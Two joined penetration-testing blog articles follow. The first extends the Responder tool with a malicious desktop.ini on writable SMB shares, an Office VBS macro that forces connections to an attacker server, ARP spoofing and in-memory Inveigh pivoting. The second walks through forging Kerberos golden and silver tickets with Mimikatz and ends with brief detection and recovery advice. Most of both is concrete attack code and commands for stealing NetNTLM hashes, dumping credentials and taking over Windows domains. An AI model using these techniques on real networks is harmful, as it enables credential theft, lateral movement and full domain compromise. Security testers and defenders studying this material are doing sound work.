From Intermediate Responder to Advanced - Expanding the Suite

In our previous article we covered the tool Responder, and how to maximise its effectiveness by using the whole suite of tools and options provided to you. Responder is an incredibly useful network exploit tool and can be extremely powerful when LLMNR/NBNS are on and SMB signing is off. In this article, we will cover how to expand Responder's functionality using other tools in conjunction with it.

If you are not familiar with Responder already, we recommend you learn the basics and read our intermediate guide here: From Beginner Responder to Intermediate – Utilising the Whole Suite.

Expanding the Suite – Application Specific

When targeting specific applications you can increase the effectiveness of Responder significantly. For example; if you find a writeable SMB share on a network that is heavily used by clients and admins you can utilise that against the network with Responder. To do so you must first craft a malicious Desktop.ini file. Instructions are below:

Create the Desktop.ini file:

a.       Open a PowerShell window.

b.      Run mkdir <directory name>.

c.       Run attrib +s <directory name>.

d.      Enter the directory.

e.      Run echo [.ShellClassInfo] > desktop.ini.

f.        Run:

                                                               i.      For Windows Vista victim and above: echo IconResource=\\<Responder server IP>\directory >> desktop.ini.

                                                             ii.      For Windows XP victim: echo IconFile=\\<Responder server IP>\directory >> desktop.ini.

g.       Run attrib +s +h desktop.ini.

Check the contents of the file look like:

 [.ShellClassInfo]

IconResource=\\<Responder server IP>\directory

 

Once this is complete, you can place the desktop.ini file and the folder in which it is contained onto the writeable share. Any Windows clients connecting to the share with Windows Explorer will automatically attempt to resolve the icon of the folder; this will lead to a login attempt to your SMB module in Responder. If Responder is running and you have set the destination IP address correctly in the desktop.ini file you will be able to harvest the NetNTLM hash of anyone browsing to this SMB share. You can pair this technique with MultiRelay (usage discussed in previous article) for maximum effect, if domain admins use this share and SMB signing is off on the domain controller you will find it easy to conquer the entire network. If this is not the case, you will be able to use this to gain significant lateral spread and harvest some hashes for cracking while you are at it. Hash grabbing will work across subnets with this method. Shown below is an example of what the exploited SMB share should look like once you drop your malicious directory with desktop.ini inside.

Another example of an application specific attack would be using Microsoft Office macros. To create a malicious macro which will connect to your Responder server enter this VBS code into the macro:

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.OpenTextFile("//<Responder server IP>/directory", 1)

You can then spread this Microsoft Office file however you see fit, if you can get an admin to open it you may be able to escalate your privileges or at least gain lateral spread and some more hashes for cracking!

These methods will also work across subnets, unlike LLMNR/NBNS hash grabbing in most scenarios. Responder naturally relies upon LLMNR and/or NBNS to direct victims to its fake servers for hash grabbing. These two protocols only operate on a single subnet/domain. By shedding reliance upon these protocols, we allow for hashes to be grabbed across subnets.

There are of course other application specific methods you can utilise; in general if you can force Windows to connect to Responder with NTLMSSP you will be able to get a hash as Windows will automatically hand over credentials. Methods such as the file:// resource locator in HTML are disabled in modern browsers, but there are plenty of other methods. This article: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ contains an impressive list of methods you could utilise against your target network. It also deserves credit for being my original inspiration for the desktop.ini method and has provided the creation steps for the two malicious files above.

Expanding the Suite – ARP Spoofing

Whilst Responder is a powerful tool, it is generally sat around waiting for victims to connect to it. This does decrease the speed of an attack a great deal, especially when targeting a specific machine. Additionally, Responder is unable to intercept correctly created SMB connections; it can only intercept connections that send LLMNR/NBNS broadcasts. If you are in a scenario where two SMB servers are syncing with each other using their Administrator accounts and you are aware of this, Responder would normally be unable to help you MITM this connection. With some extra help from an ARP spoofing attack this is possible!

The article at http://g-laurent.blogspot.com/2016/10/introducing-responder-multirelay-10.html contains a brief description of how to utilise ARP spoofing with Responder to MITM the aforementioned scenario. Laurent Gaffie's blog is a good source of information on Responder in general, should you require an explanation of the basics.

Expanding the Suite – Your Own Code

The Responder tool is under a GPL v3 license, which means you can do just about anything with the code so long as you ship it with the license and provide credit. For more details read this page: https://github.com/lgandx/Responder/blob/master/LICENSE. Thanks to this generous license we can take, adjust and use the Responder code as we see fit.

For example, I have adjusted the Responder code to work with Empire as a credential extraction module. The module takes the IP address of the Empire server as an argument and uses it to force the victim to connect back to Responder. You might assume that this is essentially redundant thanks to tools like Mimikatz, however; the main advantage of this module is that it does not require any privileged access, appears on the network as legitimate traffic and is virtually undetectable by AntiVirus as it is all standard Windows operation. By tricking Windows into handing over the NetNTLM hash for us we can still gather hashes for lateral spread and cracking when we don't have any privileges on our target machine. Installation is as easy as dropping the data and lib directories into the directory of your Empire installation. You can find the module here: https://www.secquest.co.uk/tools/HashGrabModule.zip

Since you can adapt and use the Responder code for your own purposes, advanced users will find that Responder is incredibly flexible. Responder's LLMNR and NBNS spoofing code could be utilised in a different application for example, or one of the individual servers could be used in something like the custom Empire module presented above.

Expanding the Suite – PowerShell and Pivoting

Whilst Responder is a powerful tool and can be used to pivot into target networks using a technique described here, <https://ijustwannared.team/2017/05/27/responder-and-layer-2-pivots/> if you already have access to PowerShell on a victim you can use that victim to pivot your LLMNR and NBNS attacks into the target network. Inveigh is a tool much like Responder and is controlled in a very similar manner, however; Inveigh is written in PowerShell instead of Python. This makes Inveigh an excellent choice for pivoting into Windows networks. Using IEX Inveigh can be downloaded directly into RAM on the target machine and executed with a single command.

Inveigh can be found here: https://github.com/Kevin-Robertson/Inveigh

An excellent list of different ways to download Inveigh to a machine can be found here: https://gist.github.com/HarmJ0y/bb48307ffa663256e239

Inveigh operates in a very similar manner to Responder, and should be simple to use if you already know how to use Responder. It is worth bearing in mind that Inveigh has support for both privileged and unprivileged execution modes. If you have gained access to a machine under an unprivileged user, you may be able to use Inveigh to escalate your privileges. In conjunction with the application specific methods listed above, Inveigh pivoting can be a powerful and stealthy method of privilege escalation.

Summary

As you can see, Responder can become an extremely flexible and powerful tool when used to its full potential. Our intermediate guide covered the usage of what was provided, and this article has covered how you can expand upon those tools. By no means are the above the only ways to expand Responder, I highly encourage you to seek out your own methods. If you discover any new and interesting ways of adapting Responder to a specific network I would love to hear about them. Additionally, if you have any questions regarding Responder I would be happy to answer them, you can contact me at: lewis@secquest.co.uk.

Exploitation of Kerberos Authentication using Gold and Silver Tickets

How Kerberos Works

Kerberos is a client-server authentication protocol used by Windows Active Directory that provides authentication to devices within the network.

Devices which authenticate or request services from each other are called “principals”. The central server involved is called the Key Distribution Centre (KDC).

The KDC is made up of two services, the Authentication Server (AS) and the Ticket Granting Service (TGS). In a Windows domain environment both the AS and TGS services run on any writable domain controller.

The authentication process of a principal requesting access to a service from Active Directory is as follows:

1.The client hashes the password for the user. This becomes the long term secret key used between the client and the AS. The client then encrypts a timestamp using this key and sends it to the AS. The AS will decrypt the timestamp, and if successful, demonstrates that the client knows the password for a particular user.

2.The AS replies to the client with 2 pieces of information that is encrypted with a key that only the TGS knows:

·      A short-term encryption key to be used for future requests from the KDC, encrypted with the client’s hash

·       The Ticket Granting Ticket, TGT, which contains information regarding the user, the domain, the time and group membership.

3.Once the client has the TGT, the client constructs the request for the particular principal using the session key from the TGT response. The client blindly forwards the TGT along with its request to the TGS.

4.The TGS decodes the TGT and the service request and if the request is approved, sends a service ticket containing two parts back to the client:

·      Section for the remote server – this section contains the user’s group membership, a timestamp, session key for communications with the client. This section is encrypted with the KDC’s key for the server.

·      Section for the client - this section contains the session key for communication between the client and the remote server. This section is encrypted with the key from the AS reply from step 3.

5. The client sends the server portion of the service ticket to the server along with its request. The server will accept the service ticket without direct communication with the KDC because the ticket is encrypted with the long term key used for communication between the remote server and the KDC. This implies that the KDC has approved the communication.

Figure 1: Kerberos Authentication Process

Difference between golden and silver tickets

A golden ticket is a forged Ticket Granting Ticket (TGT) valid for gaining access to any Kerberos service. A silver ticket is a forged Ticket Granting Service (TGS) ticket, also called a service ticket. This means the Silver Ticket scope is limited to whatever service is targeted on a specific server.

When obtaining a silver ticket, the attacker does not need to authenticate the account to the domain controller to obtain the forged TGS. This can be done without creating network traffic and event logs to avoid detection.

The forged TGS ticket can be created on behalf of any user account, even fictitious accounts. This allows the access of the service account to be exploited without risking detection that the account has been compromised, which may result in a password reset.

Obtaining and Utilizing a Golden Ticket.

The following guide assumes that you have already compromised a domain controller and obtained Domain admin level access to gain the KRBTGT user account hash.

All exploitation is carried out using the “MimiKatz” application.

Pre-requisites for obtaining a golden ticket.

To generate a forged golden ticket the following information is required:

·         KRBTGT user account NTLM password hash

·         Domain name and Domain SID

To obtain this information run MimiKatz on the domain controller you have compromised and use the following commands:

Privilege::debug

Lsadump::lsa /inject /name:krbtgt

This should produce an output similar to the one shown below:

Figure 2: Domain Information and KRGTGT User Hash

Using the information gathered it should now be possible to generate a golden ticket.

Generating a golden ticket.

Generation of a golden ticket is also performed from within the MimiKatz application, although this can be from any machine connected to the domain and only requires Mimikatz to be run by a user authenticated to the domain.

To generate the ticket run MimiKatz and enter the following command using the information gathered previously:

kerberos::golden /domain:test.secquest.local /sid:S-1-5-21-4225273560-389763747-2992608048 /rc4:917e17754eee0ed522dca91bfc9491f9 /user:Kerberoasted /id:500 /ptt

This should produce an output similar to the one shown below:

Figure 3: Golden Ticket Generated

Utilising the golden ticket.

By specifying the /ptt (Pass the Ticket) switch in the command syntax the generated golden ticket is injected into the current session allowing you to perform actions under the context of that ticket.

An example of this is the ability to query the domain for user information, including hashes by using the following command:

Lsadump::dcsync /user:jezza /domain:test.secquest.local

This is demonstrated in the screenshot below:

Figure 4: User Hashes Obtained from Domain Query

This information could then be utilised in separate Pass-the-hash attacks later on (until the relevant user updates their password)

It is also possible to utilise the ticket outside of MimiKatz as well, using a command prompt opened from the MimiKatz session.

To open a command prompt under the context of the ticket run the following command:

Misc:cmd

This is demonstrated in the screenshot below:

Figure 5: Command session running with golden ticket
 

From this command prompt you should be able to connect to a domain controller utilizing the golden ticket and gain access to the file system. In the example below the pushd command has been used to connect to the c$ share: 

Figure 6: Drive Mapped to Administrative Share on DC

Alternatively you could utilise the PSExec utility to open a remote command prompt to a domain controller as shown in the screenshot below:  

Figure 7: Remote Command Prompt to DC

Note the results of a whoami command show the session being run in the context of the user specified when the golden ticket was generated.

Obtaining and Utilizing a Silver Ticket.

The following guide assumes that you have already compromised the target server and obtain administrator level access to gain the targeted service password hash.

All exploitation is carried out using the “MimiKatz” application.

Pre-requisites for obtaining a silver ticket.

To generate a forged silver ticket the following information is required:

·         The targeted service account password hash or the computer account password hash for services running under localsystem.

·         Domain name and Domain SID

·         The FQDN of the target server

·         The targeted service name 

To obtain this information run MimiKatz on the target host you have compromised and use the following commands:

For a computer account password hash:

Privilege::debug

Sekurlsa::logonpasswords

This should produce an output similar to the one shown below:  

Figure 8: Domain Information and KRGTGT User Hash

For a service account password hash and domain SID:

Privilege::debug

Lsadump::lsa /inject /name:(service account name)

This should produce an output similar to the one shown below: 

Figure 9: Domain Information and Service Account User Hash

Using the information gathered it should now be possible to generate a silver ticket.

Generating a silver ticket.

To generate the ticket run MimiKatz and enter the following command using the information gathered previously:

kerberos::golden /admin:(any username) /domain:(Domain name)/sid:(Domain SID) /target:(FQDN of target server) /rc4:(Computer or service account hash) /service:(targeted service) /ptt

* both golden and silver tickets require the “golden” syntax to be used in the command within MimiKatz

This should produce an output similar to the one shown below:

Figure 10: Silver Ticket Generated

Utilising the silver ticket.

As a silver ticket is generated against a specific service account, the attack needs to be tailored to exploit that service. The table below details some common administrative functions and the service(s) that run under the computer account, that tickets need to be obtained for in order to exploit them.

Service Type	Service name
WMI	HOST RPCSS
PowerShell Remoting	HOST HTTP Depending on OS version may also need: WSMAN RPCSS
WinRM	HOST HTTP
Scheduled Tasks	HOST
Windows File Share (CIFS)	CIFS
LDAP operations including Mimikatz DCSync	LDAP
Windows Remote Server Administration Tools	RPCSS LDAP CIFS

The example below details how an attack is carried out against the Windows file share service (CIFS).

Firstly, the ticket for the service needs to be generated, which is achieved with the following command:

kerberos::golden /admin:silversurfer /domain:test.secquest.local /sid:S-1-5-21-4225273560-389763747-2992608048 /target:diane.test.secquest.local /rc4:53cbdf27d63d8c955b66a02526f872e6 /service:CIFS /ptt

which should give an output like the one in the image below:

Figure 11: CIFS Service Silver Ticket Generated

With the ticket now generated it should be possible to map a drive to the target host (for example c$) and connect to it without any request for authentication as shown in the image below: 

Figure 12: Drive Mapped to Target Host

Silver tickets are not just limited to default administrative services on the box; they can also be used to gain access to additional services installed on the host. The following example shows the compromise of a host running Microsoft SQL server.

First a ticket is generated for the SQL service (MSSQLSvc) using the following command:

kerberos::golden /admin:silversurfer /domain:test.secquest.local /sid:S-1-5-21-4225273560-389763747-2992608048 /target:diane.test.secquest.local:49180 /rc4:53cbdf27d63d8c955b66a02526f872e6 /service:MSSQLSvc /ptt

Which should give an output like the one in the image below:

Figure 13: SQL Service Silver Ticket Created

With the ticket generated we can now connect to the host, in this case using the sqlcmd executable and issue commands to the server. You can see in the image below that we are connected as administrator and able to list all the databases within the SQL instance:

Figure 14: Successfully Connected to SQL Service

Detecting Forged Tickets

The best chance of detecting forged tickets is to monitor Windows security events on workstations, servers, and Domain Controllers for logon/logoff events with anomalies in the domain field including the field being blank or null.

Recovering from golden ticket exploitation

The only way to secure a domain following a golden ticket attack is to change the password of the KRBTGT service on the domain controller. Microsoft has released a PowerShell script that enables you to reset the password*, replicate the new password to all DC’s in the domain and then validate that the replication has completed successfully.

This PowerShell script can be downloaded from the link below:

https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51/file/142338/1/New-CtmADKrbtgtKeys.zip

* It is recommended that this action is performed twice as the password history of the krbtgt account is two. By resetting the password twice, you effectively clear any old passwords from the history, so there is no way another DC will replicate with this DC by using an old password.

Recovering from silver ticket exploitation

As with golden tickets, the only way to secure a compromised host/service is to change the password of the computer account/service user account.

To reset a computer account the following steps need to be taken:

·         Remove the compromised host from the domain

·         Remove the relevant computer object from Active Directory

·         Re-join the host to the domain

For specific service user accounts, it is best to contact the vendor of the software to gain the correct procedure to follow to perform a password reset.